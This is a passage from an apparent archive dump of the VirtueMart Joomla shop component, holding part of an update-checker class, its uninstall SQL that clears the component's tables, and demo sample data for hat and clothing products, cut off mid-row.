'http://virtuemart.net/index.php?option=com_ars&view=update&format=ini&id=1'; var $_requiresAuthorization = false; var $_versionStrategy = 'different'; function __construct() { $this->_cacerts = dirname(__FILE__).'/../assets/cacert.pem'; parent::__construct(); } }PK@y>\M4components/com_virtuemart/install/uninstall_data.sqlnuW+A-- Remove all virtuemart data DELETE FROM `#__virtuemart_calcs`; DELETE FROM `#__virtuemart_calc_categories`; DELETE FROM `#__virtuemart_calc_shoppergroups`; DELETE FROM `#__virtuemart_calc_countries`; DELETE FROM `#__virtuemart_calc_states`; DELETE FROM `#__virtuemart_categories`; DELETE FROM `#__virtuemart_category_categories`; DELETE FROM `#__virtuemart_category_medias`; DELETE FROM `#__virtuemart_coupons`; DELETE FROM `#__virtuemart_countries`; DELETE FROM `#__virtuemart_customs`; DELETE FROM `#__virtuemart_manufacturers`; DELETE FROM `#__virtuemart_manufacturercategories`; DELETE FROM `#__virtuemart_manufacturer_medias`; DELETE FROM `#__virtuemart_medias`; DELETE FROM `#__virtuemart_migration_oldtonew_ids`; DELETE FROM `#__virtuemart_orders`; DELETE FROM `#__virtuemart_order_histories`; DELETE FROM `#__virtuemart_order_items`; DELETE FROM `#__virtuemart_order_userinfos`; DELETE FROM `#__virtuemart_paymentmethods`; DELETE FROM `#__virtuemart_paymentmethod_shoppergroups`; DELETE FROM `#__virtuemart_products`; DELETE FROM `#__virtuemart_product_categories`; DELETE FROM `#__virtuemart_product_customfields`; DELETE FROM `#__virtuemart_product_downloads`; DELETE FROM `#__virtuemart_product_manufacturers`; DELETE FROM `#__virtuemart_product_medias`; DELETE FROM `#__virtuemart_product_prices`; DELETE FROM `#__virtuemart_ratings`; DELETE FROM `#__virtuemart_rating_reviews`; DELETE FROM `#__virtuemart_rating_votes`; DELETE FROM `#__virtuemart_shipmentmethods`; DELETE FROM `#__virtuemart_shoppergroups`; DELETE FROM `#__virtuemart_states`; DELETE FROM `#__virtuemart_userinfos`; DELETE FROM `#__virtuemart_userfield_values`; DELETE FROM `#__virtuemart_vendors`; DELETE FROM `#__virtuemart_vendor_medias`; DELETE FROM `#__virtuemart_vmusers`; DELETE FROM `#__virtuemart_vmuser_shoppergroups`; DELETE FROM `#__virtuemart_waitingusers`; DELETE FROM `#__virtuemart_worldzones`;PK@y>\ZdZ Z 9components/com_virtuemart/install/install_sample_data.sqlnuW+AINSERT IGNORE INTO `#__virtuemart_calcs` (`virtuemart_calc_id`, `virtuemart_vendor_id`, `calc_jplugin_id`, `calc_name`, `calc_descr`, `calc_kind`, `calc_value_mathop`, `calc_value`, `calc_currency`, `calc_shopper_published`, `calc_vendor_published`, `for_override`, `calc_params`, `ordering`, `shared`, `published`) VALUES (1, 1, 0, 'Tax 20%', '', 'VatTax', '+%', 20.0000, 47, 0, 0, 0, '', 0, 0, 1), (2, 1, 0, 'Discount 5%', '', 'DATax', '-%', 5.0000, 47, 0, 0, 0, '', 0, 0, 1), (3, 1, 0, 'Special tax for category pagination 10%, an example for rule per category to show multitax store function', '', 'VatTax', '+%', 10.0000, 47, 0, 0, 0, '', 0, 0, 1); INSERT IGNORE INTO `#__virtuemart_calc_categories` (`id`, `virtuemart_calc_id`, `virtuemart_category_id`) VALUES (1, 3, 3); INSERT IGNORE INTO `#__virtuemart_categories` (`virtuemart_category_id`, `virtuemart_vendor_id`, `category_template`, `category_layout`, `category_product_layout`, `products_per_row`, `limit_list_step`, `limit_list_initial`, `hits`, `metarobot`, `metaauthor`, `ordering`, `shared`, `published`) VALUES (1, 1, '0', '0', '0', 0, '0', 0, 0, '', '', 1, 0, 1), (2, 1, '0', '0', '0', 0, '0', 0, 0, '', '', 2, 0, 1), (3, 1, '0', '0', '0', 0, '0', 0, 0, '', '', 3, 0, 1), (4, 1, '0', '0', '0', 0, '0', 0, 0, '', '', 4, 0, 1), (5, 1, '0', '0', '0', 0, '0', 0, 0, '', '', 1, 0, 1), (6, 1, '0', '0', '0', 0, '0', 0, 0, '', '', 2, 0, 1), (7, 1, '0', '0', '0', 0, '0', 0, 0, '', '', 5, 0, 1), (8, 1, '0', '0', '0', 0, '0', 0, 0, '', '', 1, 0, 1), (9, 1, '0', '0', '0', 0, '0', 0, 0, '', '', 1, 0, 1); INSERT IGNORE INTO `#__virtuemart_categories_XLANG` (`virtuemart_category_id`, `category_name`, `category_description`, `metadesc`, `metakey`, `customtitle`, `slug`) VALUES (1, 'Default Products', '

      Sample of several default products. You will find settings displayed.

      ', '', '', '', 'default-products'), (2, 'Default Pattern', '

      Example for usage of product pattern. For showcase reason the PATTERN is NOT unpublished.

      ', '', '', '', 'default-pattern'), (3, 'Pagination testarea', '

      Notice: for correct ordering in product view set valid ordering in BE.
      Ordering showcase category. Use this category to test the ordering of products. You can also select several Manufacturer.

      ', '', '', '', 'pagination-testarea'), (4, 'Headgear', '

      Showcase for subcategory with several sample product.

      ', '', '', '', 'headgear'), (5, 'Hats', '

      Example for usage of product pattern. For showcase reason the PATTERN is NOT unpublished.
      Sample for product category. Create new category in VM BE > Product Categories > New

      ', '', '', '', 'hats'), (6, 'Caps', '

      Example for usage of product pattern. For showcase reason the PATTERN is NOT unpublished.
      Sample for product category. Create new category in VM BE > Product Categories > New

      ', '', '', '', 'caps'), (7, 'Clothes', '', '', '', '', 'clothes'), (8, 'Men clothes', '

      Sample for Subcategory.
      Select superordinated category in VM BE > Product Categories > Your Category in section Details > Category Ordering

      ', '', '', '', 'men-clothes'), (9, 'Women clothes', '

      Sample for Subcategory.
      Select superordinated category in VM BE > Product Categories > Your Category in section Details > Category Ordering

      ', '', '', '', 'women-clothes'); INSERT IGNORE INTO `#__virtuemart_category_categories` (`id`, `category_parent_id`, `category_child_id`, `ordering`) VALUES (1, 0, 1, 0), (2, 0, 2, 0), (3, 0, 3, 0), (4, 0, 4, 0), (5, 4, 5, 5), (6, 4, 6, 6), (7, 0, 7, 5), (8, 7, 8, 1), (9, 7, 9, 1); INSERT IGNORE INTO `#__virtuemart_category_medias` (`id`, `virtuemart_category_id`, `virtuemart_media_id`, `ordering`) VALUES (1, 1, 2, 1), (2, 2, 2, 1), (3, 3, 2, 1), (4, 4, 3, 1), (8, 7, 6, 1), (6, 6, 5, 1), (7, 5, 3, 1), (9, 8, 6, 1), (10, 9, 7, 1); INSERT IGNORE INTO `#__virtuemart_coupons` (`virtuemart_coupon_id`, `coupon_code`, `percent_or_total`, `coupon_type`, `coupon_value`, `coupon_start_date`, `coupon_expiry_date`, `coupon_value_valid`, `coupon_used`, `published`) VALUES (1, 'Sample Coupon', 'total', 'permanent', 0.01000, '0000-00-00 00:00:00', '2015-01-01 00:00:00', 0.00000, '0', 1); INSERT IGNORE INTO `#__virtuemart_customs` (`virtuemart_custom_id`, `custom_parent_id`, `virtuemart_vendor_id`, `custom_jplugin_id`, `custom_element`, `admin_only`, `custom_title`, `show_title`, `custom_tip`, `custom_value`, `custom_field_desc`, `field_type`, `is_list`, `is_hidden`, `is_cart_attribute`, `layout_pos`, `custom_params`, `shared`, `published`, `ordering`) VALUES (1, 0, 1, 0, '', 0, 'COM_VIRTUEMART_RELATED_PRODUCTS', 1, 'COM_VIRTUEMART_RELATED_PRODUCTS_TIP', '', 'COM_VIRTUEMART_RELATED_PRODUCTS_DESC', 'R', 0, 0, 0, NULL, NULL, 0, 1, 0), (2, 0, 1, 0, '', 0, 'COM_VIRTUEMART_RELATED_CATEGORIES', 1, 'COM_VIRTUEMART_RELATED_CATEGORIES_TIP', NULL, 'COM_VIRTUEMART_RELATED_CATEGORIES_DESC', 'Z', 0, 0, 0, NULL, NULL, 0, 1, 0), (3, 0, 1, 0, '0', 0, 'Customfield String', 1, '', '', '', 'S', 0, 0, 0, '', '0', 0, 1, 0), (4, 0, 1, 0, '0', 0, 'Customfield Textarea', 1, '', '', '', 'Y', 0, 0, 0, '', '0', 0, 1, 0), (5, 0, 1, 0, '0', 0, 'Customfield Parent', 1, '', '', '', 'P', 0, 0, 0, '', '0', 0, 1, 0), (6, 5, 1, 0, '0', 0, 'Customfield Child String 1', 1, '', '', '', 'S', 0, 0, 0, '', '0', 0, 1, 0), (7, 5, 1, 0, '0', 0, 'Customfield Child String 2', 1, '', '', '', 'S', 0, 0, 0, '', '0', 0, 1, 0), (8, 5, 1, 0, '0', 0, 'Customfield Textarea Child', 1, '', '', '', 'Y', 0, 0, 0, '', '0', 0, 1, 0), (9, 0, 1, 0, '0', 0, 'Customfield Cart Variant', 1, '', '', '', 'V', 0, 0, 1, '', '0', 0, 1, 0), (10, 0, 1, 0, '0', 0, 'Customfield Child Variant', 1, '', '', '', 'A', 0, 0, 1, '', '0', 0, 1, 0), (11, 0, 1, 0, '0', 0, 'Caps Customfield Parent', 1, '', '', '', 'P', 0, 0, 0, '', '0', 0, 1, 0), (12, 0, 1, 0, '0', 0, 'Cap Size', 1, '', '', '', 'V', 0, 0, 1, '', '0', 0, 1, 0), (13, 11, 1, 0, '0', 0, 'Cap Details', 1, '', '', '', 'S', 0, 0, 0, '', '0', 0, 1, 0), (14, 11, 1, 0, '0', 0, 'Cap Components', 1, '', '', '', 'S', 0, 0, 0, '', '0', 0, 1, 0), (15, 0, 1, 0, '0', 0, 'Clothing weave', 1, '', '', '', 'V', 0, 0, 1, '', '0', 0, 1, 0), (16, 0, 1, 0, '0', 0, 'Clothing size', 1, '', '', '', 'V', 0, 0, 1, '', '0', 0, 1, 0), (17, 0, 1, 0, '0', 0, 'Clothing parent', 1, '', '', '', 'P', 0, 0, 0, '', '0', 0, 1, 0), (18, 17, 1, 0, '0', 0, 'Clothing Composit', 1, '', '', '', 'S', 0, 0, 0, '', '0', 0, 1, 0), (19, 17, 1, 0, '0', 0, 'Clothing textarea', 1, '', '', '', 'Y', 0, 0, 0, '', '0', 0, 1, 0); INSERT IGNORE INTO `#__virtuemart_manufacturercategories` (`virtuemart_manufacturercategories_id`, `published`) VALUES (1, 1); INSERT IGNORE INTO `#__virtuemart_manufacturercategories_XLANG` (`virtuemart_manufacturercategories_id`, `mf_category_name`, `mf_category_desc`, `slug`) VALUES (1, 'default', 'This is the default manufacturer category ', 'default'); INSERT IGNORE INTO `#__virtuemart_manufacturers` (`virtuemart_manufacturer_id`, `virtuemart_manufacturercategories_id`, `hits`, `published`) VALUES (1, 1, 0, 1), (2, 1, 0, 1), (3, 1, 0, 1); INSERT IGNORE INTO `#__virtuemart_manufacturers_XLANG` (`virtuemart_manufacturer_id`, `mf_name`, `mf_email`, `mf_desc`, `mf_url`, `slug`) VALUES (1, 'Manufacturer', 'manufacturer@example.org', '

      An example for a manufacturer

      ', 'http://www.example.org', 'manufacturer'), (2, 'Default', 'example@manufacturer.net', '

      Default manufacturer

      ', 'example.manufacturer.net', 'default'), (3, 'Producer', 'info@producer.com', '

      An example for another manufacturer.

      ', 'producer.com', 'producer'); INSERT IGNORE INTO `#__virtuemart_manufacturer_medias` (`id`, `virtuemart_manufacturer_id`, `virtuemart_media_id`, `ordering`) VALUES (1, 1, 9, 1), (2, 2, 9, 1), (3, 3, 9, 1); INSERT IGNORE INTO `#__virtuemart_medias` (`virtuemart_media_id`, `virtuemart_vendor_id`, `file_title`, `file_description`, `file_meta`, `file_mimetype`, `file_type`, `file_url`, `file_url_thumb`, `file_is_product_image`, `file_is_downloadable`, `file_is_forSale`, `file_params`, `file_lang`, `shared`, `published`) VALUES (1, 1, 'vendor.gif', '', '', 'image/gif', 'vendor', 'images/stories/virtuemart/vendor/vendor.gif', '', 0, 0, 0, '', '', 0, 1), (2, 1, 'student_hat_16.jpg', '', '', 'image/jpeg', 'category', 'images/stories/virtuemart/category/student_hat_16.jpg', '', 0, 0, 0, '', '', 0, 1), (3, 1, 'hat_category8.jpg', '', '', 'image/jpeg', 'category', 'images/stories/virtuemart/category/hat_category8.jpg', '', 0, 0, 0, '', '', 0, 1), (5, 1, 'cap6.jpg', '', '', 'image/jpeg', 'category', 'images/stories/virtuemart/category/cap6.jpg', '', 0, 0, 0, '', '', 0, 1), (6, 1, 'jacket_classic7.jpg', '', '', 'image/jpeg', 'category', 'images/stories/virtuemart/category/jacket_classic7.jpg', '', 0, 0, 0, '', '', 0, 1), (7, 1, 'black_dress_2.jpg', '', '', 'image/jpeg', 'category', 'images/stories/virtuemart/category/black_dress_2.jpg', '', 0, 0, 0, '', '', 0, 1), (8, 1, 'cart_logo.jpg', '', '', 'image/jpeg', 'product', 'images/stories/virtuemart/product/cart_logo.jpg', '', 0, 0, 0, '', '', 0, 1), (9, 1, 'manufacturer.jpg', '', '', 'image/jpeg', 'manufacturer', 'images/stories/virtuemart/manufacturer/manufacturer.jpg', '', 0, 0, 0, '', '', 0, 1), (10, 1, 'classic_hat.jpg', '', '', 'image/jpeg', 'product', 'images/stories/virtuemart/product/classic_hat.jpg', '', 0, 0, 0, '', '', 0, 1), (11, 1, 'cowboy_hat.jpg', '', '', 'image/jpeg', 'product', 'images/stories/virtuemart/product/cowboy_hat.jpg', '', 0, 0, 0, '', '', 0, 1), (12, 1, 'derbyhat.jpg', '', '', 'image/jpeg', 'product', 'images/stories/virtuemart/product/derbyhat.jpg', '', 0, 0, 0, '', '', 0, 1), (13, 1, 'santa_cap.jpg', '', '', 'image/jpeg', 'product', 'images/stories/virtuemart/product/santa_cap.jpg', '', 0, 0, 0, '', '', 0, 1), (14, 1, 'baseballcap.jpg', '', '', 'image/jpeg', 'product', 'images/stories/virtuemart/product/baseballcap.jpg', '', 0, 0, 0, '', '', 0, 1), (15, 1, 'marinecap.jpg', '', '', 'image/jpeg', 'product', 'images/stories/virtuemart/product/marinecap.jpg', '', 0, 0, 0, '', '', 0, 1), (16, 1, 'jumper.jpg', '', '', 'image/jpeg', 'product', 'images/stories/virtuemart/product/jumper.jpg', '', 0, 0, 0, '', '', 0, 1), (17, 1, 'wide_dress_2.jpg', '', '', 'image/jpeg', 'product', 'images/stories/virtuemart/product/wide_dress_2.jpg', '', 0, 0, 0, '', '', 0, 1), (18, 1, 'jacket_classic.jpg', '', '', 'image/jpeg', 'product', 'images/stories/virtuemart/product/jacket_classic.jpg', '', 0, 0, 0, '', '', 0, 1), (19, 1, 'poncho.jpg', '', '', 'image/jpeg', 'product', 'images/stories/virtuemart/product/poncho.jpg', '', 0, 0, 0, '', '', 0, 1), (20, 1, 'dress.jpg', '', '', 'image/jpeg', 'product', 'images/stories/virtuemart/product/dress.jpg', '', 0, 0, 0, '', '', 0, 1); INSERT IGNORE INTO `#__virtuemart_products` (`virtuemart_product_id`, `virtuemart_vendor_id`, `product_parent_id`, `product_sku`, `product_weight`, `product_weight_uom`, `product_length`, `product_width`, `product_height`, `product_lwh_uom`, `product_url`, `product_in_stock`, `product_ordered`, `low_stock_notification`, `product_available_date`, `product_availability`, `product_special`, `product_sales`, `product_unit`, `product_packaging`, `product_params`, `hits`, `intnotes`, `metarobot`, `metaauthor`, `layout`, `published`, `pordering`, `created_on`, `created_by`, `modified_on`, `modified_by`) VALUES (1, 1, 0, '', 50.0000, 'KG', 45.0000, 5.0000, 5.0000, 'M', '', 78, 0, 5, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (2, 1, 0, '', 15.0000, 'KG', 10.0000, 25.0000, 10.0000, 'M', '', 10, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', 0.1000, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (3, 1, 0, '', 0.1000, 'KG', 0.0100, 0.0100, 0.0300, 'M', '', 55, 0, 10, '0000-00-00 00:00:00', '', 0, 0, 'KG', 1.0000, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (4, 1, 0, '', 1.0000, 'KG', 0.2000, 0.1000, 0.3000, 'M', '', 100, 0, 5, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (5, 1, 0, '', 0.1000, 'KG', 0.2000, 0.0100, 0.0300, 'M', '', 10, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (6, 1, 0, '', 0.1000, 'KG', 0.2000, 0.0100, 0.3000, 'M', '', 50, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (7, 1, 0, '', 0.4000, 'KG', 0.1000, 0.2000, 0.3000, 'M', '', 80, 0, 10, '0000-00-00 00:00:00', '', 0, 0, 'KG', 0.1000, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box="1"|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (8, 1, 7, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 1, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (9, 1, 7, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 2, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (10, 1, 7, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 3, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (11, 1, 0, '', 0.4000, 'KG', 0.1000, 0.2000, 0.3000, 'M', '', 150, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (12, 1, 11, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 1, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (13, 1, 11, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 2, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (14, 1, 11, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 3, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (15, 1, 0, '', 0.1000, 'KG', 0.1000, 0.2000, 0.3000, 'M', '', 100, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (16, 1, 15, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 1, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (17, 1, 15, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 2, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (18, 1, 15, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 3, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (19, 1, 0, '', 0.4000, 'KG', 0.1000, 0.2000, 0.3000, 'M', '', 100, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box="1"|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (20, 1, 19, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (21, 1, 19, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (22, 1, 19, '', 4.0000, 'KG', 1.0000, 2.0000, 3.0000, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box="10"|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (23, 1, 0, '', 0.4000, 'KG', 0.1000, 0.2000, 0.3000, 'M', '', 80, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box="1"|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (24, 1, 23, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 1, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (25, 1, 23, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 2, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (26, 1, 23, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box="10"|', NULL, '', '', '', '0', 1, 3, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (27, 1, 0, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (28, 1, 27, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (29, 1, 27, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (30, 1, 27, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (31, 1, 27, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (32, 1, 27, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (33, 1, 27, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (34, 1, 27, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (35, 1, 27, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (36, 1, 27, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (37, 1, 27, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (38, 1, 0, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (39, 1, 38, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (40, 1, 38, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (41, 1, 38, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (42, 1, 38, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (43, 1, 38, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (44, 1, 38, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (45, 1, 38, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 